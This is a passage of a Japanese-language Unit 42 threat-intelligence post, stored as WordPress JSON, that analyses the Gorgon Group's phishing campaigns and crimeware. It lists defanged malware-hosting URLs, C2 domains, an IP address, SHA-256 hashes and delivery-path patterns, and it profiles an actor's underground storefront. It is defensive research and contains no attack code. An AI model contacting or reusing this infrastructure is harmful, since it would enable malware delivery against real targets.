{"id":104133,"date":"2018-08-02T05:00:54","date_gmt":"2018-08-02T12:00:54","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=104133"},"modified":"2020-02-04T22:48:19","modified_gmt":"2020-02-05T06:48:19","slug":"unit42-gorgon-group-slithering-nation-state-cybercrime","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/unit42-gorgon-group-slithering-nation-state-cybercrime\/","title":{"rendered":"\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bGorgon Group\u306e\u8a73\u7d30"},"content":{"rendered":"<h2><a id=\"post-104133-\u56fd\u5bb6\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3068\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u7d99\u7d9a\u3059\u308bgorgon-group\u306e\u8a73\u7d30\"><\/a>\u6982\u8981<\/h2>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u30c1\u30fc\u30e0Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u30012017\u5e74\u4ee5\u6765<a href=\"https:\/\/blog.paloaltonetworks.com\/2017\/10\/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository\/\">Subaat<\/a>\u3068\u3044\u3046\u653b\u6483\u8005\u3092\u8ffd\u8de1\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u6700\u8fd1\u3001Subaat\u306f\u6a19\u7684\u578b\u653b\u6483\u6d3b\u52d5\u3092\u518d\u958b\u3057\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u8005\u306f\u3001\u4e16\u754c\u306e\u653f\u5e9c\u6a5f\u95a2\u306b\u6a19\u7684\u578b\u653b\u6483\u3092\u4ed5\u639b\u3051\u308b\u3001\u500b\u4eba\u304b\u3089\u69cb\u6210\u3055\u308c\u308b\u3088\u308a\u5927\u304d\u306a\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u4e00\u54e1\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u653b\u6483\u306e\u4e00\u90e8\u306e\u6280\u8853\u7684\u5206\u6790\u304a\u3088\u3073\u30d1\u30ad\u30b9\u30bf\u30f3\u306e\u653b\u6483\u8005\u3068\u306e\u7279\u5fb4\u7684\u306a\u3064\u306a\u304c\u308a\u306f\u3001\u65e2\u306b\u6307\u6458\u3055\u308c\u3066\u3044\u307e\u3059\uff08<a href=\"https:\/\/ti.360.net\/blog\/articles\/analysis-of-office-ole-sample\/\">360<\/a>\u304a\u3088\u3073<a href=\"https:\/\/paper.tuisec.win\/detail\/eaff0936fcdaaa6\">Tuisec<\/a>\uff09\u3002\u4eca\u56de\u306e\u30d6\u30ed\u30b0\u8a18\u4e8b\u3067\u306f\u3001Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304c\u8ffd\u8de1\u3057\u3066\u3044\u305f\u5927\u898f\u6a21\u306a\u653b\u6483\u8005\u30b0\u30eb\u30fc\u30d7\u3068\u306e\u8208\u5473\u6df1\u3044\u3064\u306a\u304c\u308a\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002\u5f0a\u793e\u306f\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u3092Gorgon Group\u3068\u547c\u3093\u3067\u3044\u307e\u3059\u3002<\/p>\n<p>Unit 42\u306f\u3001\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u304c\u3001\u6570\u591a\u304f\u306e\u6a19\u7684\u578b\u653b\u6483\u306b\u52a0\u3048\u3066\u3001\u4e16\u754c\u4e2d\u3067\u3057\u3064\u3053\u304f\u7e70\u308a\u8fd4\u3057\u3055\u308c\u308b\u72af\u7f6a\u884c\u70ba\u306b\u3082\u95a2\u4e0e\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002Unit 42\u306f\u30012018\u5e742\u6708\u4ee5\u964d\u3001Gorgon Group\u30e1\u30f3\u30d0\u30fc\u306b\u3088\u308b\u30a4\u30ae\u30ea\u30b9\u3001\u30b9\u30da\u30a4\u30f3\u3001\u30ed\u30b7\u30a2\u3001\u304a\u3088\u3073\u7c73\u56fd\u306e\u653f\u5e9c\u6a5f\u95a2\u3092\u6a19\u7684\u306b\u3057\u305f\u653b\u6483\u6d3b\u52d5\u3092\u7279\u5b9a\u3057\u3066\u3044\u307e\u3059\u3002\u307e\u305f\u305d\u306e\u9593\u3001Gorgon Group\u30e1\u30f3\u30d0\u30fc\u306f\u3001\u4e16\u754c\u4e2d\u3067\u72af\u7f6a\u6d3b\u52d5\u3082\u884c\u3063\u3066\u3044\u307e\u3059\u3002\u72af\u7f6a\u6d3b\u52d5\u3067\u306f\u3001\u591a\u304f\u304c\u653f\u5e9c\u6a5f\u95a2\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u4f5c\u6226\u3068\u5171\u901a\u306e\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u304c\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>Gorgon Group\u306e\u6d3b\u52d5\u306f\u3001\u5f93\u6765\u306e\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb(C2)\u30c9\u30e1\u30a4\u30f3\u306e\u4f7f\u7528\u306b\u52a0\u3048\u3066\u3001\u4e00\u822c\u7684\u306a\u77ed\u7e2eURL\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u6700\u7d42\u7684\u306b\u30af\u30ea\u30c3\u30af \u30ab\u30a6\u30f3\u30c8\u3068\u7d71\u8a08\u30c7\u30fc\u30bf\u306e\u5e83\u7bc4\u306a\u30ea\u30b9\u30c8\u3092\u63d0\u4f9b\u3057\u3066\u3044\u305f\u70b9\u3084\u3001\u591a\u69d8\u3067\u6d3b\u767a\u7684\u306a\u72af\u7f6a\u7684\u6d3b\u52d5\u3092\u884c\u3063\u3066\u3044\u308b\u70b9\u304c\u8208\u5473\u6df1\u3044\u3067\u3059\u3002\u5f0a\u793e\u306f\u3001C2\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u591a\u304f\u3067\u3001\u8907\u6570\u306e\u30af\u30e9\u30a4\u30e0\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002NjRat\u306a\u3069\u306eRAT\u304a\u3088\u3073Lokibot\u306a\u3069\u306e\u60c5\u5831\u7a83\u53d6\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001\u6a19\u7684\u578b\u653b\u6483\u306e\u3082\u306e\u3068\u540c\u3058C2\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3092\u5229\u7528\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u6a19\u7684\u578b\u653b\u6483\u3068\u72af\u7f6a\u6d3b\u52d5\u3001\u4e21\u65b9\u306e\u653b\u6483\u30b9\u30bf\u30a4\u30eb\u306f\u3001\u6570\u591a\u304f\u306e\u304a\u3068\u308a\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u304a\u3088\u3073\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0 \u30e1\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3044\u3066\u3001\u5168\u4f53\u7684\u306a\u7cbe\u5de7\u3055\u306b\u306f\u6b20\u3051\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u3068\u305d\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u6709\u52b9\u6027\u306f\u5426\u5b9a\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<h3><a id=\"post-104133-\u653b\u6483\u306e\u914d\u4fe1\u304a\u3088\u3073\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u5206\u6790\"><\/a>\u653b\u6483\u306e\u914d\u4fe1\u304a\u3088\u3073\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u5206\u6790<\/h3>\n<p>\u653b\u6483\u8005\u306e\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306b\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\u300c.vbs\u300d\u3001\u300c.doc\u300d\u304a\u3088\u3073\u300c.exe\u300d\u30b5\u30f3\u30d7\u30eb\u306e\u5206\u6790\u3068\u653b\u6483\u65b9\u6cd5\u306b\u3064\u3044\u3066\u306f\u3001\u524d\u8ff0\u306e360\u3068Tuisec\u3067\u3044\u304f\u3064\u304b\u53d6\u308a\u4e0a\u3052\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u4e00\u8cab\u3057\u305f\u653b\u6483\u30d1\u30bf\u30fc\u30f3\u304c\u3001\u6700\u3082\u4e00\u822c\u7684\u3067\u3082\u3042\u308b\u6b21\u306e\u30b9\u30c6\u30fc\u30b8\u304b\u3089\u69cb\u6210\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u767a\u898b\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img width=\"950\" height=\"197\"  class=\"wp-image-104134 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-127.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-127.png 950w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-127-300x62.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-127-768x159.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-127-900x187.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-127-370x77.png 370w\" sizes=\"(max-width: 950px) 100vw, 950px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f31: \u57fa\u672c\u7684\u306a\u653b\u6483\u65b9\u6cd5<\/span><\/p>\n<p>\u521d\u671f\u30b9\u30c6\u30fc\u30b8\u306e\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u306e\u8a66\u307f\u306f\u3001\u901a\u5e38Bitly\u3084t2m[.]io\u306a\u3069\u306e\u77ed\u7e2eURL\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u7528\u3059\u308bOLE2Link\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f7f\u7528\u3057\u3001\u975e\u5e38\u306b\u5358\u7d14\u3067\u8efd\u91cf\u3067\u3059\u3002<\/p>\n<p><img width=\"1854\" height=\"133\"  class=\"wp-image-104136 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-128.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-128.png 1854w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-128-300x22.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-128-1024x73.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-128-768x55.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-128-1536x110.png 1536w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-128-900x65.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-128-370x27.png 370w\" sizes=\"(max-width: 1854px) 100vw, 1854px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f32 OLE2Link\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u4f8b<\/span><\/p>\n<p>Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u3001Gorgon Group\u306e\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0 \u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u304c\u4f7f\u7528\u3059\u308b\u30c9\u30e1\u30a4\u30f3\u304a\u3088\u3073\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3092\u8abf\u67fb\u3057\u3066\u3044\u308b\u3068\u304d\u3001Gorgon Group\u306e\u591a\u304f\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u5168\u4f53\u306b\u5171\u901a\u3057\u3066\u904b\u7528\u4e0a\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3(OpSec)\u30df\u30b9\u304c\u8907\u6570\u307f\u3089\u308c\u308b\u3053\u3068\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u3046\u3057\u305fOpSec\u4e0a\u306e\u5931\u6557\u306e\u3072\u3068\u3064\u304c\u3001Gorgon Group\u304c\u4f7f\u7528\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u6a2a\u65ad\u7684\u306b\u898b\u308b\u6a5f\u4f1a\u3078\u3068\u3064\u306a\u304c\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u542b\u307e\u308c\u3066\u3044\u305f\u306e\u306f\u3001\u4e0a\u8a18\u306e\u56fd\u5bb6\u306b\u5bfe\u3059\u308b\u6a19\u7684\u578b\u653b\u6483\u3067\u5229\u7528\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306e\u7d44\u307f\u5408\u308f\u305b\u3067\u3001\u72af\u7f6a\u3092\u76ee\u7684\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u308b\u6975\u3081\u3066\u591a\u91cf\u306e\u30de\u30eb\u30a6\u30a7\u30a2 \u30b5\u30f3\u30d7\u30eb\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p><img width=\"441\" height=\"474\"  class=\"wp-image-104138 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-129.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-129.png 441w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-129-279x300.png 279w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-129-370x398.png 370w\" sizes=\"(max-width: 441px) 100vw, 441px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f33: hxxp:\/\/stevemike-fireforce[.]info\/\u306e\u30aa\u30fc\u30d7\u30f3 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea \u30ea\u30b9\u30c8<\/span><\/p>\n<p>\u6700\u521d\u306b\u7279\u5b9a\u3055\u308c\u305f\u30aa\u30fc\u30d7\u30f3 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u304a\u3088\u3073\u69cb\u9020\u306b\u57fa\u3065\u304d\u3001\u3044\u304f\u3064\u304b\u306e\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3 \u30d1\u30bf\u30fc\u30f3\u304c\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u767a\u898b\u3067\u304d\u307e\u3057\u305f\u3002\u30c9\u30e1\u30a4\u30f3\u69cb\u9020\u304a\u3088\u3073\u30de\u30eb\u30a6\u30a7\u30a2\u914d\u4fe1\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u4f8b\u3092\u6b21\u306e\u8868\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>SHA-256<\/strong><\/td>\n<td><strong>\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306eURL<\/strong><\/td>\n<\/tr>\n<tr>\n<td>4e4967e3d39256049bc1054b966e5c609245fd3b2a934fda5cd1885526d8221e<\/td>\n<td>stemtopx[.]com\/work\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>d2f58b08f8abfe5055f3c1f0b8d991dfe1deb62807a5336b134ce2fb36d87284<\/td>\n<td>stemtopx[.]com\/work\/3.exe<\/td>\n<\/tr>\n<tr>\n<td>db4d8d931f1b979cf32d311f9b03e851d3283b4f7e86252730247da25cf9f093<\/td>\n<td>stemtopx[.]com\/work\/2.exe<\/td>\n<\/tr>\n<tr>\n<td>4c6e3d8fdb2394edffe4a5bc45a238749e929301efa8bcfa3a247b1ab68eac54<\/td>\n<td>stemtopx[.]com\/work\/1.exe<\/td>\n<\/tr>\n<tr>\n<td>81de431987304676134138705fc1c21188ad7f27edf6b77a6551aa693194485e<\/td>\n<td>stemtopx[.]com\/work\/new\/20.exe<\/td>\n<\/tr>\n<tr>\n<td>26151f1e24bc97532e49013fbe04919de1f51e346dba1f10ce2e389160f2fb9d<\/td>\n<td>stemtopx[.]com\/work\/new\/3.exe<\/td>\n<\/tr>\n<tr>\n<td>a100ce0a67c5890bcc38d2b6e30f9164dfe266126ec40a2fd7eb8e941dc7d025<\/td>\n<td>stemtopx[.]com\/work\/new\/2.exe<\/td>\n<\/tr>\n<tr>\n<td>806098afc2148dabb838b24c4dfaa148269ac3ddf769aee54e75d46bfef0c506<\/td>\n<td>stemtopx[.]com\/work\/doc\/20.doc<\/td>\n<\/tr>\n<tr>\n<td>bf37d6cb393b440f790ad2b333624fde079e10bfaeb44d65188e3ccc551c982f<\/td>\n<td>stemtopx[.]com\/work\/k\/1.docx<\/td>\n<\/tr>\n<tr>\n<td>81de431987304676134138705fc1c21188ad7f27edf6b77a6551aa693194485e<\/td>\n<td>stemtopx[.]com\/work\/k\/1s.exe<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\"><em>\u88681: hxxp:\/\/stemtopx[.]com\u306e\u30de\u30eb\u30a6\u30a7\u30a2 \u30b5\u30f3\u30d7\u30eb\u3068\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3<\/em><\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>\u30d1\u30bf\u30fc\u30f3\u4f8b<\/strong><\/td>\n<\/tr>\n<tr>\n<td>[domain]\/work\/docnew\/[filename]<\/td>\n<\/tr>\n<tr>\n<td>[domain]\/administrator\/help\/[filename]<\/td>\n<\/tr>\n<tr>\n<td>[domain]\/xe\/m\/[filename]<\/td>\n<\/tr>\n<tr>\n<td>[domain]\/xe\/s\/[filename]<\/td>\n<\/tr>\n<tr>\n<td>[domain]\/images\/yupsia\/exe\/[filename]<\/td>\n<\/tr>\n<tr>\n<td>[domain]\/images\/yupsia\/doc\/[filename]<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\"><em>\u88682: \u30c9\u30e1\u30a4\u30f3 \u30d1\u30bf\u30fc\u30f3\u306e\u4f8b<\/em><\/span><\/p>\n<h3><a id=\"post-104133-gorgon-group\u306e\u69cb\u6210\u30e1\u30f3\u30d0\u30fc\u306e\u5185\u8a33\"><\/a>Gorgon Group\u306e\u69cb\u6210\u30e1\u30f3\u30d0\u30fc\u306e\u5185\u8a33<\/h3>\n<p>\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u305d\u306e\u4ed6\u306e\u904b\u7528\u4e0a\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6b20\u9665\u3068\u7d44\u307f\u5408\u308f\u305b\u3066\u691c\u7d22\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001Gorgon Group\u306e\u30e1\u30f3\u30d0\u30fc\u306e\u5168\u8c8c\u304c\u660e\u3089\u304b\u306b\u306a\u3063\u3066\u304d\u307e\u3057\u305f\u3002360\u3068Tuisec\u306f\u3001\u4f55\u4eba\u304b\u306eGorgon Group\u306e\u30e1\u30f3\u30d0\u30fc\u3092\u65e2\u306b\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002Subaat\u306b\u52a0\u3048\u3066\u3001\u653b\u6483\u3092\u5b9f\u884c\u3059\u308b\u305d\u306e\u4ed64\u4eba\u306e\u653b\u6483\u8005\u3092Gorgon Group\u306e\u4e00\u90e8\u3068\u307f\u306a\u3057\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u304c\u7269\u7406\u7684\u306b\u30d1\u30ad\u30b9\u30bf\u30f3\u306b\u5728\u4f4f\u3057\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u306f\u4e0d\u660e\u3067\u3059\u304c\u3001\u30aa\u30f3\u30e9\u30a4\u30f3\u4e0a\u306e\u30da\u30eb\u30bd\u30ca\u306b\u57fa\u3065\u304f\u3068Gorgon Group\u306e\u3059\u3079\u3066\u306e\u30e1\u30f3\u30d0\u30fc\u304c\u30d1\u30ad\u30b9\u30bf\u30f3\u306b\u3044\u308b\u3053\u3068\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<h4><strong>fudpages<\/strong><\/h4>\n<p>\u5f0a\u793e\u304c\u300cfudpages\u300d\u3068\u547c\u3093\u3067\u3044\u308bGorgon Group\u306e\u3042\u308b\u30e1\u30f3\u30d0\u30fc\u306f\u3001\u5171\u6709\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u4f7f\u7528\u306b\u57fa\u3065\u304f\u3053\u306e\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u304a\u3044\u3066\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\u5f0a\u793e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306e\u6ce8\u76ee\u3092\u5f15\u3044\u305f\u306e\u306f\u3001\u3042\u308b\u7279\u5b9a\u306eMicrosoft\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3067\u3057\u305f\u3002 (446e1c80102c8b9662d66d44525cb9f519369061b02446e0d4cd30cd26d79a25)<\/p>\n<p>\u3053\u306eMicrosoft Word\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306f\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4ecb\u3057\u3066\u7c73\u56fd\u3068\u30b9\u30a4\u30b9\u306e\u3044\u304f\u3064\u304b\u306e\u4f01\u696d\u306b\u9001\u4fe1\u3055\u308c\u307e\u3057\u305f\u3002Unit 42\u306f\u3001\u3053\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u304c\u4ed6\u306eGorgon Group\u306e\u30e1\u30f3\u30d0\u30fc\u306b\u3088\u3063\u3066\u3082\u653b\u6483\u306b\u4f7f\u7528\u3055\u308c\u305f\u8ffd\u52a0\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092C2\u304b\u3089\u5f15\u304d\u51fa\u3057\u305f\u3053\u3068\u306b\u6c17\u4ed8\u304d\u307e\u3057\u305f\u3002\u307e\u305f\u3001\u3053\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306f\u3001\u6bd4\u8f03\u7684\u65b0\u3057\u3044C2\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3067\u3042\u308bumarguzardijye[.]com\u3068\u901a\u4fe1\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306f91[.]234[.]99[.]206\u306b\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img width=\"685\" height=\"750\"  class=\"wp-image-104140 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-130.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-130.png 685w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-130-274x300.png 274w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-130-370x405.png 370w\" sizes=\"(max-width: 685px) 100vw, 685px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f34 umarguzardijye[.]com\u306eWHOIS\u60c5\u5831<\/span><\/p>\n<p>Fudpages\u306f\u3001\u305d\u306e\u4ed6\u306eGorgon Group\u30e1\u30f3\u30d0\u30fc\u3068\u540c\u69d8\u306b\u3001\u591a\u304f\u306eOpSec\u4e0a\u306e\u904e\u3061\u3092\u72af\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p><img width=\"356\" height=\"279\"  class=\"wp-image-104142 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-131.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-131.png 356w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-131-300x235.png 300w\" sizes=\"(max-width: 356px) 100vw, 356px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f35 umarguzardijye[.]com\u306e\u30aa\u30fc\u30d7\u30f3 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea<\/span><\/p>\n<p>\u65b0\u3057\u3044\u30c9\u30e1\u30a4\u30f3umarguzardijye[.]com\u306eWHOIS\u30ec\u30b3\u30fc\u30c9\u306f\u3001\u767b\u9332\u8005\u7d44\u7e54\u304c\u300cfudpages\u300d\u3067\u3001\u30a2\u30c9\u30ec\u30b9\u304c\u30d1\u30ad\u30b9\u30bf\u30f3\u3067\u63d0\u4f9b\u3055\u308c\u305f\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002umarguzardijye[.]com\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u308bIP\u3092\u8a73\u7d30\u306b\u8abf\u3079\u308b\u3068\u300191[.]234[.]99[.]206\u304c2\u3064\u306e\u8ffd\u52a0\u30c9\u30e1\u30a4\u30f3(fudpages[.]ru\u304a\u3088\u3073fudpage[.]ru)\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002Fudpage\u306f\u3001\u9632\u5f3e\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3001RDP\u30bb\u30c3\u30b7\u30e7\u30f3\u3001\u507d\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306a\u3069\u306e\u60aa\u610f\u306e\u3042\u308b\u88fd\u54c1\u3092\u5927\u91cf\u306b\u8ca9\u58f2\u3059\u308b\u5c0f\u898f\u6a21\u5e02\u5834\u306e\u3088\u3046\u3067\u3059\u3002<\/p>\n<p><img width=\"750\" height=\"437\"  class=\"wp-image-104144 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/02\/word-image-132.png\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-132.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-132-300x175.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2020\/02\/word-image-132-370x216.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f36 FUD pages and spamming tools\u306e\u5e83\u544aWeb\u30b5\u30a4\u30c8<\/span><\/p>\n<p>fudpage\u306b\u306f\u3044\u304f\u3064\u304b\u306e\u9023\u7d61\u5148\u60c5\u5831\u304c\u30ea\u30b9\u30c8\u5316\u3055\u308c\u3066\u3044\u3066\u3001\u3053\u306e\u60c5\u5831\u304b\u3089\u306f\u3001\u5730\u4e0b\u30d5\u30a9\u30fc\u30e9\u30e0\u3067\u60aa\u610f\u306e\u3042\u308b\u88fd\u54c1\u3092\u8ca9\u58f2\u3001\u914d\u4fe1\u304a\u3088\u3073\u53d6\u5f15\u3057\u3066\u3044\u308b\u5730\u4e0b\u306e\u30da\u30eb\u30bd\u30ca\u306b\u6700\u7d42\u7684\u306b\u305f\u3069\u308a\u3064\u3051\u307e\u3059\u3002<\/p>\n<p><img width=\"750\" height=\"435\"  class=\"wp-image-104146 aligncenter lozad\"  